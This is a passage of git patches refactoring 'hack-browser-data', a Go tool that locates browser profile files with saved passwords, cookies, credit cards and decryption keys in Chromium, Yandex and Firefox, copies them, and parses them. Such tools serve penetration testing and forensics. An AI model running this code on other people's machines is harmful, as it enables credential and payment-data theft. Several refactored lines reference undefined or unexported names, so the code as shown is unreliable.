+ if !isFileExist(absProfilePath) {
+ return nil, fmt.Errorf("%s profile path is not exist", absProfilePath)
+ }
+ itemsPaths, err := getChromiumItemPath(absProfilePath, c.items)
if err != nil {
return nil, err
}
@@ -153,13 +159,13 @@ func (c *chromium) CopyItemFileToLocal() error {
type firefox struct {
browserInfo *browserInfo
- items []item
- itemPaths map[item]string
- multiItemPaths map[string]map[item]string
+ items []item.Item
+ itemPaths map[item.Item]string
+ multiItemPaths map[string]map[item.Item]string
}
// newFirefox
-func newMultiFirefox(info *browserInfo, items []item) ([]*firefox, error) {
+func newMultiFirefox(info *browserInfo, items []item.Item) ([]*firefox, error) {
f := &firefox{
browserInfo: info,
items: items,
@@ -186,8 +192,8 @@ func newMultiFirefox(info *browserInfo, items []item) ([]*firefox, error) {
return firefoxList, nil
}
-func getFirefoxItemAbsPath(profilePath string, items []item) (map[string]map[item]string, error) {
- var multiItemPaths = make(map[string]map[item]string)
+func getFirefoxItemAbsPath(profilePath string, items []item.Item) (map[string]map[item.Item]string, error) {
+ var multiItemPaths = make(map[string]map[item.Item]string)
absProfilePath := path.Join(homeDir, filepath.Clean(profilePath))
// TODO: Handle read file error
if !isFileExist(absProfilePath) {
@@ -224,7 +230,7 @@ func (f *firefox) CopyItemFileToLocal() error {
return nil
}
-func firefoxWalkFunc(items []item, multiItemPaths map[string]map[item]string) filepath.WalkFunc {
+func firefoxWalkFunc(items []item.Item, multiItemPaths map[string]map[item.Item]string) filepath.WalkFunc {
return func(path string, info fs.FileInfo, err error) error {
for _, v := range items {
if info.Name() == v.DefaultName() {
@@ -232,7 +238,7 @@ func firefoxWalkFunc(items []item, multiItemPaths map[string]map[item]string) fi
if _, exist := multiItemPaths[parentDir]; exist {
multiItemPaths[parentDir][v] = path
} else {
- multiItemPaths[parentDir] = map[item]string{v: path}
+ multiItemPaths[parentDir] = map[item.Item]string{v: path}
}
}
}
@@ -244,31 +250,6 @@ func getParentDir(absPath string) string {
return filepath.Base(filepath.Dir(absPath))
}
-func chromiumWalkFunc(items []item, itemPaths map[item]string) filepath.WalkFunc {
- return func(path string, info os.FileInfo, err error) error {
- for _, item := range items {
- if item.DefaultName() == info.Name() && item == chromiumKey {
- itemPaths[item] = path
- }
- if item.DefaultName() == info.Name() && strings.Contains(path, "Default") {
- itemPaths[item] = path
- }
- }
- return err
- }
-}
-
-func getChromiumItemAbsPath(profilePath string, items []item) (map[item]string, error) {
- var itemPaths = make(map[item]string)
- absProfilePath := path.Join(homeDir, filepath.Clean(profilePath))
- // TODO: Handle file path is not exist
- if !isFileExist(absProfilePath) {
- return nil, fmt.Errorf("%s profile path is not exist", absProfilePath)
- }
- err := filepath.Walk(absProfilePath, chromiumWalkFunc(items, itemPaths))
- return itemPaths, err
-}
-
func (f *firefox) GetMasterKey() ([]byte, error) {
return f.browserInfo.masterKey, nil
}
@@ -333,38 +314,38 @@ const (
yandexName = "Yandex"
)
-var defaultFirefoxItems = []item{
- firefoxKey4,
- firefoxPassword,
- firefoxCookie,
- firefoxBookmark,
- firefoxHistory,
- firefoxDownload,
- firefoxCreditCard,
- firefoxLocalStorage,
- firefoxExtension,
+var defaultFirefoxItems = []item.Item{
+ item.firefoxKey4,
+ item.firefoxPassword,
+ item.firefoxCookie,
+ item.firefoxBookmark,
+ item.firefoxHistory,
+ item.firefoxDownload,
+ item.firefoxCreditCard,
+ item.firefoxLocalStorage,
+ item.firefoxExtension,
}
-var defaultYandexItems = []item{
- chromiumKey,
- yandexPassword,
- chromiumCookie,
- chromiumBookmark,
- chromiumHistory,
- chromiumDownload,
- yandexCreditCard,
- chromiumLocalStorage,
- chromiumExtension,
+var defaultYandexItems = []item.Item{
+ item.chromiumKey,
+ item.yandexPassword,
+ item.chromiumCookie,
+ item.chromiumBookmark,
+ item.chromiumHistory,
+ item.chromiumDownload,
+ item.yandexCreditCard,
+ item.chromiumLocalStorage,
+ item.chromiumExtension,
}
-var defaultChromiumItems = []item{
- chromiumKey,
- chromiumPassword,
- chromiumCookie,
- chromiumBookmark,
- chromiumHistory,
- chromiumDownload,
- chromiumCreditCard,
- chromiumLocalStorage,
- chromiumExtension,
+var defaultChromiumItems = []item.Item{
+ item.chromiumKey,
+ item.chromiumPassword,
+ item.chromiumCookie,
+ item.chromiumBookmark,
+ item.chromiumHistory,
+ item.chromiumDownload,
+ item.chromiumCreditCard,
+ item.chromiumLocalStorage,
+ item.chromiumExtension,
}
diff --git a/internal/browser/browser_darwin.go b/internal/browser/browser_darwin.go
index 9c3ae12..7a54eaa 100644
--- a/internal/browser/browser_darwin.go
+++ b/internal/browser/browser_darwin.go
@@ -7,12 +7,14 @@ import (
"os/exec"
"golang.org/x/crypto/pbkdf2"
+
+ "hack-browser-data/internal/browser/item"
)
var (
chromiumList = map[string]struct {
browserInfo *browserInfo
- items []item
+ items []item.Item
}{
"chrome": {
browserInfo: chromeInfo,
@@ -57,7 +59,7 @@ var (
}
firefoxList = map[string]struct {
browserInfo *browserInfo
- items []item
+ items []item.Item
}{
"firefox": {
browserInfo: firefoxInfo,
diff --git a/internal/browser/browser_test.go b/internal/browser/browser_test.go
index 47ebf56..a9965d7 100644
--- a/internal/browser/browser_test.go
+++ b/internal/browser/browser_test.go
@@ -44,6 +44,15 @@ func TestPickChromium(t *testing.T) {
}
}
+func TestGetChromiumItemAbsPath(t *testing.T) {
+ p := `/Library/Application Support/Google/Chrome/`
+ s, err := getChromiumItemPath(p, defaultChromiumItems)
+ if err != nil {
+ panic(err)
+ }
+ fmt.Println(s)
+}
+
func TestPickBrowsers(t *testing.T) {
browsers := PickBrowser("all")
for _, v := range browsers {
diff --git a/internal/browser/browser_windows.go b/internal/browser/browser_windows.go
index ab78bda..2ae20d1 100644
--- a/internal/browser/browser_windows.go
+++ b/internal/browser/browser_windows.go
@@ -6,7 +6,7 @@ import (
"github.com/tidwall/gjson"
- "hack-browser-data/internal/browser/consts"
+ "hack-browser-data/internal/browser/item"
"hack-browser-data/internal/decrypter"
"hack-browser-data/internal/utils"
)
@@ -14,7 +14,7 @@ import (
var (
chromiumList = map[string]struct {
browserInfo *browserInfo
- items []item
+ items []item.Item
}{
"chrome": {
browserInfo: chromeInfo,
@@ -31,7 +31,7 @@ var (
}
firefoxList = map[string]struct {
browserInfo *browserInfo
- items []item
+ items []item.Item
}{
"firefox": {
browserInfo: firefoxInfo,
@@ -45,7 +45,7 @@ var (
)
func (c *chromium) GetMasterKey() ([]byte, error) {
- keyFile, err := utils.ReadFile(consts.ChromiumKeyFilename)
+ keyFile, err := utils.ReadFile(item.TempChromiumKey)
if err != nil {
return nil, err
}
diff --git a/internal/browser/chromium/chromium.go b/internal/browser/chromium/chromium.go
new file mode 100644
index 0000000..b3063e0
--- /dev/null
+++ b/internal/browser/chromium/chromium.go
@@ -0,0 +1,108 @@
+package chromium
+
+import (
+ "fmt"
+ "io/ioutil"
+ "os"
+ "path"
+ "path/filepath"
+ "strings"
+
+ "hack-browser-data/internal/browser/data"
+ "hack-browser-data/internal/browser/item"
+)
+
+type chromium struct {
+ name string
+ storage string
+ profilePath string
+ masterKey []byte
+ items []item.Item
+ itemPaths map[item.Item]string
+}
+
+// newChromium 根据浏览器信息生成 Browser Interface
+func newChromium(name, storage, profilePath string, items []item.Item) (*chromium, error) {
+ c := &chromium{
+ name: name,
+ storage: storage,
+ profilePath: profilePath,
+ items: items,
+ }
+ absProfilePath := path.Join(homeDir, filepath.Clean(c.browserInfo.profilePath))
+ // TODO: Handle file path is not exist
+ if !isFileExist(absProfilePath) {
+ return nil, fmt.Errorf("%s profile path is not exist", absProfilePath)
+ }
+ itemsPaths, err := getChromiumItemPath(absProfilePath, c.items)
+ if err != nil {
+ return nil, err
+ }
+ c.itemPaths = itemsPaths
+ return c, err
+}
+
+func (c *chromium) GetName() string {
+ return c.name
+}
+
+func (c *chromium) GetBrowsingData() []data.BrowsingData {
+ var browsingData []data.BrowsingData
+ for item := range c.itemPaths {
+ d := item.NewBrowsingData()
+ if d != nil {
+ browsingData = append(browsingData, d)
+ }
+ }
+ return browsingData
+}
+
+func (c *chromium) CopyItemFileToLocal() error {
+ for item, sourcePath := range c.itemPaths {
+ var dstFilename = item.FileName()
+ locals, _ := filepath.Glob("*")
+ for _, v := range locals {
+ if v == dstFilename {
+ err := os.Remove(dstFilename)
+ // TODO: Should Continue all iteration error
+ if err != nil {
+ return err
+ }
+ }
+ }
+
+ // TODO: Handle read file error
+ sourceFile, err := ioutil.ReadFile(sourcePath)
+ if err != nil {
+ fmt.Println(err.Error())
+ }
+ err = ioutil.WriteFile(dstFilename, sourceFile, 0777)
+ if err != nil {
+ return err
+ }
+ }
+ return nil
+}
+
+func getChromiumItemPath(profilePath string, items []item.Item) (map[item.Item]string, error) {
+ var itemPaths = make(map[item.Item]string)
+ err := filepath.Walk(profilePath, chromiumWalkFunc(items, itemPaths))
+ return itemPaths, err
+}
+
+func chromiumWalkFunc(items []item.Item, itemPaths map[item.Item]string) filepath.WalkFunc {
+ return func(path string, info os.FileInfo, err error) error {
+ for _, it := range items {
+ switch {
+ case it.DefaultName() == info.Name():
+ if it == it.chromiumKey {
+ itemPaths[it] = path
+ }
+ if strings.Contains(path, "Default") {
+ itemPaths[it] = path
+ }
+ }
+ }
+ return err
+ }
+}
diff --git a/internal/browser/consts/filename.go b/internal/browser/consts/filename.go
deleted file mode 100644
index 16fcb30..0000000
--- a/internal/browser/consts/filename.go
+++ /dev/null
@@ -1,47 +0,0 @@
-package consts
-
-// item's default filename
-const (
- ChromiumKey = "Local State"
- ChromiumCredit = "Web Data"
- ChromiumPassword = "Login Data"
- ChromiumHistory = "History"
- ChromiumDownload = "History"
- ChromiumCookie = "Cookies"
- ChromiumBookmark = "Bookmarks"
- ChromiumLocalStorage = "chromiumLocalStorage"
-
- YandexPassword = "Ya PassMan Data"
- YandexCredit = "Ya Credit Cards"
-
- FirefoxKey4 = "key4.db"
- FirefoxCookie = "cookies.sqlite"
- FirefoxPassword = "logins.json"
- FirefoxData = "places.sqlite"
-
- UnknownItem = "unknown item"
- UnsupportedItem = "unsupported item"
-)
-
-// item's renamed filename
-const (
- ChromiumKeyFilename = "ChromiumKeyFilename"
- ChromiumCreditFilename = "ChromiumCreditFilename"
- ChromiumPasswordFilename = "ChromiumPasswordFilename"
- ChromiumHistoryFilename = "ChromiumHistoryFilename"
- ChromiumDownloadFilename = "ChromiumDownloadFilename"
- ChromiumCookieFilename = "ChromiumCookieFilename"
- ChromiumBookmarkFilename = "ChromiumBookmarkFilename"
- ChromiumLocalStorageFilename = "ChromiumLocalStorageFilename"
-
- YandexPasswordFilename = "YandexPasswordFilename"
- YandexCreditFilename = "YandexCreditFilename"
-
- FirefoxKey4Filename = "FirefoxKey4DBFilename"
- FirefoxCookieFilename = "FirefoxCookieFilename"
- FirefoxPasswordFilename = "FirefoxPasswordFilename"
- FirefoxDownloadFilename = "FirefoxDownloadFilename"
- FirefoxHistoryFilename = "FirefoxHistoryFilename"
- FirefoxBookmarkFilename = "FirefoxBookmarkFilename"
- FirefoxDataFilename = "FirefoxDataFilename"
-)
diff --git a/internal/browser/consts/sql.go b/internal/browser/consts/sql.go
deleted file mode 100644
index d709a2b..0000000
--- a/internal/browser/consts/sql.go
+++ /dev/null
@@ -1 +0,0 @@
-package consts
diff --git a/internal/browser/data/bookmark.go b/internal/browser/data/bookmark.go
index 1da37fe..7c21c30 100644
--- a/internal/browser/data/bookmark.go
+++ b/internal/browser/data/bookmark.go
@@ -7,14 +7,14 @@ import (
"github.com/tidwall/gjson"
- "hack-browser-data/internal/browser/consts"
+ "hack-browser-data/internal/browser/item"
"hack-browser-data/internal/utils"
)
type ChromiumBookmark []bookmark
func (c *ChromiumBookmark) Parse(masterKey []byte) error {
- bookmarks, err := utils.ReadFile(consts.ChromiumBookmarkFilename)
+ bookmarks, err := utils.ReadFile(item.ChromiumBookmarkFilename)
if err != nil {
return err
}
@@ -26,6 +26,7 @@ func (c *ChromiumBookmark) Parse(masterKey []byte) error {
return true
})
}
+ // TODO: 使用泛型重构
sort.Slice(*c, func(i, j int) bool {
return (*c)[i].DateAdded.After((*c)[j].DateAdded)
})
@@ -73,7 +74,7 @@ func (f *FirefoxBookmark) Parse(masterKey []byte) error {
keyDB *sql.DB
bookmarkRows *sql.Rows
)
- keyDB, err = sql.Open("sqlite3", consts.FirefoxBookmarkFilename)
+ keyDB, err = sql.Open("sqlite3", item.FirefoxBookmarkFilename)
if err != nil {
return err
}
diff --git a/internal/browser/data/cookie.go b/internal/browser/data/cookie.go
index 3a9183a..7b3dd83 100644
--- a/internal/browser/data/cookie.go
+++ b/internal/browser/data/cookie.go
@@ -5,7 +5,7 @@ import (
"fmt"
"sort"
- "hack-browser-data/internal/browser/consts"
+ "hack-browser-data/internal/browser/item"
"hack-browser-data/internal/decrypter"
"hack-browser-data/internal/utils"
@@ -15,7 +15,7 @@ import (
type ChromiumCookie []cookie
func (c *ChromiumCookie) Parse(masterKey []byte) error {
- cookieDB, err := sql.Open("sqlite3", consts.ChromiumCookieFilename)
+ cookieDB, err := sql.Open("sqlite3", item.ChromiumCookieFilename)
if err != nil {
return err
}
@@ -78,7 +78,7 @@ func (c *ChromiumCookie) Name() string {
type FirefoxCookie []cookie
func (f *FirefoxCookie) Parse(masterKey []byte) error {
- cookieDB, err := sql.Open("sqlite3", consts.FirefoxCookieFilename)
+ cookieDB, err := sql.Open("sqlite3", item.FirefoxCookieFilename)
if err != nil {
return err
}
diff --git a/internal/browser/data/creditcard.go b/internal/browser/data/creditcard.go
index a279db1..a8b386c 100644
--- a/internal/browser/data/creditcard.go
+++ b/internal/browser/data/creditcard.go
@@ -6,14 +6,14 @@ import (
_ "github.com/mattn/go-sqlite3"
- "hack-browser-data/internal/browser/consts"
+ "hack-browser-data/internal/browser/item"
"hack-browser-data/internal/decrypter"
)
type ChromiumCreditCard []card
func (c *ChromiumCreditCard) Parse(masterKey []byte) error {
- creditDB, err := sql.Open("sqlite3", consts.ChromiumCreditFilename)
+ creditDB, err := sql.Open("sqlite3", item.TempChromiumCredit)
if err != nil {
return err
}
diff --git a/internal/browser/data/download.go b/internal/browser/data/download.go
index 6b1e11a..1ae6995 100644
--- a/internal/browser/data/download.go
+++ b/internal/browser/data/download.go
@@ -8,7 +8,7 @@ import (
"github.com/tidwall/gjson"
- "hack-browser-data/internal/browser/consts"
+ "hack-browser-data/internal/browser/item"
"hack-browser-data/internal/utils"
_ "github.com/mattn/go-sqlite3"
@@ -17,7 +17,7 @@ import (
type ChromiumDownload []download
func (c *ChromiumDownload) Parse(masterKey []byte) error {
- historyDB, err := sql.Open("sqlite3", consts.ChromiumDownloadFilename)
+ historyDB, err := sql.Open("sqlite3", item.ChromiumDownloadFilename)
if err != nil {
return err
}
@@ -63,7 +63,7 @@ func (f *FirefoxDownload) Parse(masterKey []byte) error {
keyDB *sql.DB
downloadRows *sql.Rows
)
- keyDB, err = sql.Open("sqlite3", consts.FirefoxDownloadFilename)
+ keyDB, err = sql.Open("sqlite3", item.FirefoxDownloadFilename)
if err != nil {
return err
}
diff --git a/internal/browser/data/history.go b/internal/browser/data/history.go
index dbd1451..1cc4d4c 100644
--- a/internal/browser/data/history.go
+++ b/internal/browser/data/history.go
@@ -5,7 +5,7 @@ import (
"fmt"
"sort"
- "hack-browser-data/internal/browser/consts"
+ "hack-browser-data/internal/browser/item"
"hack-browser-data/internal/utils"
_ "github.com/mattn/go-sqlite3"
@@ -14,7 +14,7 @@ import (
type ChromiumHistory []history
func (c *ChromiumHistory) Parse(masterKey []byte) error {
- historyDB, err := sql.Open("sqlite3", consts.ChromiumHistoryFilename)
+ historyDB, err := sql.Open("sqlite3", item.ChromiumHistoryFilename)
if err != nil {
return err
}
@@ -60,7 +60,7 @@ func (f *FirefoxHistory) Parse(masterKey []byte) error {
keyDB *sql.DB
historyRows *sql.Rows
)
- keyDB, err = sql.Open("sqlite3", consts.FirefoxHistoryFilename)
+ keyDB, err = sql.Open("sqlite3", item.FirefoxHistoryFilename)
if err != nil {
return err
}
diff --git a/internal/browser/data/password.go b/internal/browser/data/password.go
index fef3aab..f8e55f0 100644
--- a/internal/browser/data/password.go
+++ b/internal/browser/data/password.go
@@ -9,7 +9,7 @@ import (
"sort"
"time"
- "hack-browser-data/internal/browser/consts"
+ "hack-browser-data/internal/browser/item"
decrypter2 "hack-browser-data/internal/decrypter"
"hack-browser-data/internal/utils"
@@ -20,7 +20,7 @@ import (
type ChromiumPassword []loginData
func (c *ChromiumPassword) Parse(masterKey []byte) error {
- loginDB, err := sql.Open("sqlite3", consts.ChromiumPasswordFilename)
+ loginDB, err := sql.Open("sqlite3", item.TempChromiumPassword)
if err != nil {
return err
}
@@ -80,7 +80,7 @@ func (c *ChromiumPassword) Name() string {
type FirefoxPassword []loginData
func (f *FirefoxPassword) Parse(masterKey []byte) error {
- globalSalt, metaBytes, nssA11, nssA102, err := getFirefoxDecryptKey(consts.FirefoxKey4Filename)
+ globalSalt, metaBytes, nssA11, nssA102, err := getFirefoxDecryptKey(item.FirefoxKey4Filename)
if err != nil {
return err
}
@@ -106,7 +106,7 @@ func (f *FirefoxPassword) Parse(masterKey []byte) error {
if err != nil {
return err
}
- allLogin, err := getFirefoxLoginData(consts.FirefoxPasswordFilename)
+ allLogin, err := getFirefoxLoginData(item.FirefoxPasswordFilename)
if err != nil {
return err
}
diff --git a/internal/browser/firefox/firefox.go b/internal/browser/firefox/firefox.go
new file mode 100644
index 0000000..2b4484a
--- /dev/null
+++ b/internal/browser/firefox/firefox.go
@@ -0,0 +1 @@
+package firefox
diff --git a/internal/browser/item.go b/internal/browser/item.go
deleted file mode 100644
index 8030a1f..0000000
--- a/internal/browser/item.go
+++ /dev/null
@@ -1,166 +0,0 @@
-package browser
-
-import (
- "hack-browser-data/internal/browser/consts"
- data2 "hack-browser-data/internal/browser/data"
-)
-
-type item int
-
-const (
- chromiumKey item = iota
- chromiumPassword
- chromiumCookie
- chromiumBookmark
- chromiumHistory
- chromiumDownload
- chromiumCreditCard
- chromiumLocalStorage
- chromiumExtension
-
- yandexPassword
- yandexCreditCard
-
- firefoxKey4
- firefoxPassword
- firefoxCookie
- firefoxBookmark
- firefoxHistory
- firefoxDownload
- firefoxCreditCard
- firefoxLocalStorage
- firefoxExtension
-)
-
-func (i item) DefaultName() string {
- switch i {
- case chromiumKey:
- return consts.ChromiumKey
- case chromiumPassword:
- return consts.ChromiumPassword
- case chromiumCookie:
- return consts.ChromiumCookie
- case chromiumBookmark:
- return consts.ChromiumBookmark
- case chromiumDownload:
- return consts.ChromiumDownload
- case chromiumLocalStorage:
- return consts.ChromiumLocalStorage
- case chromiumCreditCard:
- return consts.ChromiumCredit
- case chromiumExtension:
- return consts.UnknownItem
- case chromiumHistory:
- return consts.ChromiumHistory
- case yandexPassword:
- return consts.YandexPassword
- case yandexCreditCard:
- return consts.YandexCredit
- case firefoxKey4:
- return consts.FirefoxKey4
- case firefoxPassword:
- return consts.FirefoxPassword
- case firefoxCookie:
- return consts.FirefoxCookie
- case firefoxBookmark:
- return consts.FirefoxData
- case firefoxDownload:
- return consts.FirefoxData
- case firefoxLocalStorage:
- return consts.UnsupportedItem
- case firefoxCreditCard:
- return consts.UnsupportedItem
- case firefoxHistory:
- return consts.FirefoxData
- case firefoxExtension:
- return consts.UnsupportedItem
- default:
- return consts.UnknownItem
- }
-}
-
-func (i item) FileName() string {
- switch i {
- case chromiumKey:
- return consts.ChromiumKeyFilename
- case chromiumPassword:
- return consts.ChromiumPasswordFilename
- case chromiumCookie:
- return consts.ChromiumCookieFilename
- case chromiumBookmark:
- return consts.ChromiumBookmarkFilename
- case chromiumDownload:
- return consts.ChromiumDownloadFilename
- case chromiumLocalStorage:
- return consts.ChromiumLocalStorageFilename
- case chromiumCreditCard:
- return consts.ChromiumCreditFilename
- case chromiumHistory:
- return consts.ChromiumHistoryFilename
- case chromiumExtension:
- return consts.UnsupportedItem
- case yandexPassword:
- return consts.ChromiumPasswordFilename
- case yandexCreditCard:
- return consts.ChromiumCreditFilename
- case firefoxKey4:
- return consts.FirefoxKey4Filename
- case firefoxPassword:
- return consts.FirefoxPasswordFilename
- case firefoxCookie:
- return consts.FirefoxCookieFilename
- case firefoxBookmark:
- return consts.FirefoxBookmarkFilename
- case firefoxDownload:
- return consts.FirefoxDownloadFilename
- case firefoxLocalStorage:
- return consts.UnsupportedItem
- case firefoxCreditCard:
- return consts.UnsupportedItem
- case firefoxHistory:
- return consts.FirefoxHistoryFilename
- case firefoxExtension:
- return consts.UnsupportedItem
- default:
- return consts.UnknownItem
- }
-}
-
-func (i item) NewBrowsingData() data2.BrowsingData {
- switch i {
- case chromiumKey:
- return nil
- case chromiumPassword:
- return &data2.ChromiumPassword{}
- case chromiumCookie:
- return &data2.ChromiumCookie{}
- case chromiumBookmark:
- return &data2.ChromiumBookmark{}
- case chromiumDownload:
- return &data2.ChromiumDownload{}
- case chromiumLocalStorage:
- return nil
- case chromiumCreditCard:
- return &data2.ChromiumCreditCard{}
- case chromiumExtension:
- return nil
- case chromiumHistory:
- return &data2.ChromiumHistory{}
- case yandexPassword:
- return &data2.ChromiumPassword{}
- case yandexCreditCard:
- return &data2.ChromiumCreditCard{}
- case firefoxPassword:
- return &data2.FirefoxPassword{}
- case firefoxCookie:
- return &data2.FirefoxCookie{}
- case firefoxBookmark:
- return &data2.FirefoxBookmark{}
- case firefoxDownload:
- return &data2.FirefoxDownload{}
- case firefoxHistory:
- return &data2.FirefoxHistory{}
- default:
- return nil
- }
-}
diff --git a/internal/browser/item/filename.go b/internal/browser/item/filename.go
new file mode 100644
index 0000000..d8172ab
--- /dev/null
+++ b/internal/browser/item/filename.go
@@ -0,0 +1,47 @@
+package item
+
+// item's default filename
+const (
+ FileChromiumKey = "Local State"
+ FileChromiumCredit = "Web Data"
+ FileChromiumPassword = "Login Data"
+ FileChromiumHistory = "History"
+ FileChromiumDownload = "History"
+ FileChromiumCookie = "Cookies"
+ FileChromiumBookmark = "Bookmarks"
+ FileChromiumLocalStorage = "chromiumLocalStorage"
+
+ FileYandexPassword = "Ya PassMan Data"
+ FileYandexCredit = "Ya Credit Cards"
+
+ FileFirefoxKey4 = "key4.db"
+ FileFirefoxCookie = "cookies.sqlite"
+ FileFirefoxPassword = "logins.json"
+ FileFirefoxData = "places.sqlite"
+
+ FileUnknownItem = "unknown item"
+ FileUnsupportedItem = "unsupported item"
+)
+
+// item's renamed filename
+const (
+ TempChromiumKey = "TempChromiumKey"
+ TempChromiumCredit = "TempChromiumCredit"
+ TempChromiumPassword = "TempChromiumPassword"
+ TempChromiumHistory = "TempChromiumHistory"
+ TempChromiumDownload = "TempChromiumDownload"
+ TempChromiumCookie = "TempChromiumCookie"
+ TempChromiumBookmark = "TempChromiumBookmark"
+ TempChromiumLocalStorage = "TempChromiumLocalStorage"
+
+ TempYandexPassword = "TempYandexPassword"
+ TempYandexCredit = "TempYandexCredit"
+
+ TempFirefoxKey4 = "TempFirefoxKey4"
+ TempFirefoxCookie = "TempFirefoxCookie"
+ TempFirefoxPassword = "TempFirefoxPassword"
+ TempFirefoxDownload = "TempFirefoxDownload"
+ TempFirefoxHistory = "TempFirefoxHistory"
+ TempFirefoxBookmark = "TempFirefoxBookmark"
+ TempFirefoxData = "TempFirefoxData"
+)
diff --git a/internal/browser/item/item.go b/internal/browser/item/item.go
new file mode 100644
index 0000000..0d1738c
--- /dev/null
+++ b/internal/browser/item/item.go
@@ -0,0 +1,165 @@
+package item
+
+import (
+ data2 "hack-browser-data/internal/browser/data"
+)
+
+type Item int
+
+const (
+ ItemChromiumKey Item = iota
+ ItemChromiumPassword
+ ItemChromiumCookie
+ ItemChromiumBookmark
+ ItemChromiumHistory
+ ItemChromiumDownload
+ ItemChromiumCreditCard
+ ItemChromiumLocalStorage
+ ItemChromiumExtension
+
+ ItemYandexPassword
+ ItemYandexCreditCard
+
+ ItemFirefoxKey4
+ ItemFirefoxPassword
+ ItemFirefoxCookie
+ ItemFirefoxBookmark
+ ItemFirefoxHistory
+ ItemFirefoxDownload
+ ItemFirefoxCreditCard
+ ItemFirefoxLocalStorage
+ ItemFirefoxExtension
+)
+
+func (i Item) DefaultName() string {
+ switch i {
+ case ItemChromiumKey:
+ return ChromiumKey
+ case ItemChromiumPassword:
+ return ChromiumPassword
+ case ItemChromiumCookie:
+ return ChromiumCookie
+ case ItemChromiumBookmark:
+ return ChromiumBookmark
+ case ItemChromiumDownload:
+ return ChromiumDownload
+ case ItemChromiumLocalStorage:
+ return ChromiumLocalStorage
+ case ItemChromiumCreditCard:
+ return ChromiumCredit
+ case ItemChromiumExtension:
+ return UnknownItem
+ case ItemChromiumHistory:
+ return ChromiumHistory
+ case ItemYandexPassword:
+ return YandexPassword
+ case ItemYandexCreditCard:
+ return YandexCredit
+ case ItemFirefoxKey4:
+ return FirefoxKey4
+ case ItemFirefoxPassword:
+ return FirefoxPassword
+ case ItemFirefoxCookie:
+ return FirefoxCookie
+ case ItemFirefoxBookmark:
+ return FirefoxData
+ case ItemFirefoxDownload:
+ return FirefoxData
+ case ItemFirefoxLocalStorage:
+ return UnsupportedItem
+ case ItemFirefoxCreditCard:
+ return UnsupportedItem
+ case ItemFirefoxHistory:
+ return FirefoxData
+ case ItemFirefoxExtension:
+ return UnsupportedItem
+ default:
+ return UnknownItem
+ }
+}
+
+func (i Item) FileName() string {
+ switch i {
+ case chromiumKey:
+ return TempChromiumKey
+ case chromiumPassword:
+ return TempChromiumPassword
+ case chromiumCookie:
+ return ChromiumCookieFilename
+ case chromiumBookmark:
+ return ChromiumBookmarkFilename
+ case chromiumDownload:
+ return ChromiumDownloadFilename
+ case chromiumLocalStorage:
+ return ChromiumLocalStorageFilename
+ case chromiumCreditCard:
+ return TempChromiumCredit
+ case chromiumHistory:
+ return TempChromiumHistory
+ case chromiumExtension:
+ return UnsupportedItem
+ case yandexPassword:
+ return TempChromiumPassword
+ case yandexCreditCard:
+ return TempChromiumCredit
+ case firefoxKey4:
+ return FirefoxKey4Filename
+ case firefoxPassword:
+ return FirefoxPasswordFilename
+ case firefoxCookie:
+ return FirefoxCookieFilename
+ case firefoxBookmark:
+ return FirefoxBookmarkFilename
+ case firefoxDownload:
+ return FirefoxDownloadFilename
+ case firefoxLocalStorage:
+ return UnsupportedItem
+ case firefoxCreditCard:
+ return UnsupportedItem
+ case firefoxHistory:
+ return FirefoxHistoryFilename
+ case firefoxExtension:
+ return UnsupportedItem
+ default:
+ return UnknownItem
+ }
+}
+
+func (i Item) NewBrowsingData() data2.BrowsingData {
+ switch i {
+ case chromiumKey:
+ return nil
+ case chromiumPassword:
+ return &data2.ChromiumPassword{}
+ case chromiumCookie:
+ return &data2.ChromiumCookie{}
+ case chromiumBookmark:
+ return &data2.ChromiumBookmark{}
+ case chromiumDownload:
+ return &data2.ChromiumDownload{}
+ case chromiumLocalStorage:
+ return nil
+ case chromiumCreditCard:
+ return &data2.ChromiumCreditCard{}
+ case chromiumExtension:
+ return nil
+ case chromiumHistory:
+ return &data2.ChromiumHistory{}
+ case yandexPassword:
+ return &data2.ChromiumPassword{}
+ case yandexCreditCard:
+ return &data2.ChromiumCreditCard{}
+ case firefoxPassword:
+ return &data2.FirefoxPassword{}
+ case firefoxCookie:
+ return &data2.FirefoxCookie{}
+ case firefoxBookmark:
+ return &data2.FirefoxBookmark{}
+ case firefoxDownload:
+ return &data2.FirefoxDownload{}
+ case firefoxHistory:
+ return &data2.FirefoxHistory{}
+ default:
+ return nil
+ }
+}
diff --git a/internal/browser/item/sql.go b/internal/browser/item/sql.go
new file mode 100644
index 0000000..eb11d32
--- /dev/null
+++ b/internal/browser/item/sql.go
@@ -0,0 +1 @@
+package item
From 05659822b7dbab8f2b6fa2ef1a690205bf81d85d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E1=B4=8D=E1=B4=8F=E1=B4=8F=C9=B4D4=CA=80=E1=B4=8B?=
Date: Fri, 1 Apr 2022 15:01:34 +0800
Subject: [PATCH 12/33] chore: remove chromium and firefox git ignore
---
.gitignore | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/.gitignore b/.gitignore
index df9423f..403d41a 100644
--- a/.gitignore
+++ b/.gitignore
@@ -185,7 +185,7 @@ History
*.sqlite-shm
*.sqlite-wal
-Chromium*
-Firefox*
+#Chromium*
+#Firefox*
result/
results/
From 303e00cd289d0061f1227dc80ea42d8a0bae43e9 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E1=B4=8D=E1=B4=8F=E1=B4=8F=C9=B4D4=CA=80=E1=B4=8B?=
Date: Sat, 2 Apr 2022 14:47:12 +0800
Subject: [PATCH 13/33] feat: rename item name
---
go.mod | 3 -
go.sum | 6 -
internal/browser/browser.go | 221 --------------------------
internal/browser/browser_darwin.go | 22 +--
internal/browser/browser_windows.go | 6 +-
internal/browser/chromium/chromium.go | 12 +-
internal/browser/data/bookmark.go | 11 +-
internal/browser/data/browsingdata.go | 4 +-
internal/browser/firefox/firefox.go | 128 +++++++++++++++
internal/browser/item/filename.go | 47 ------
internal/browser/item/item.go | 165 -------------------
internal/item/filename.go | 26 +++
internal/item/item.go | 201 +++++++++++++++++++++++
internal/{browser => }/item/sql.go | 0
14 files changed, 387 insertions(+), 465 deletions(-)
delete mode 100644 internal/browser/item/filename.go
delete mode 100644 internal/browser/item/item.go
create mode 100644 internal/item/filename.go
create mode 100644 internal/item/item.go
rename internal/{browser => }/item/sql.go (100%)
diff --git a/go.mod b/go.mod
index 75049e9..233bbdc 100644
--- a/go.mod
+++ b/go.mod
@@ -4,11 +4,8 @@ go 1.18
require (
github.com/gocarina/gocsv v0.0.0-20211203214250-4735fba0c1d9
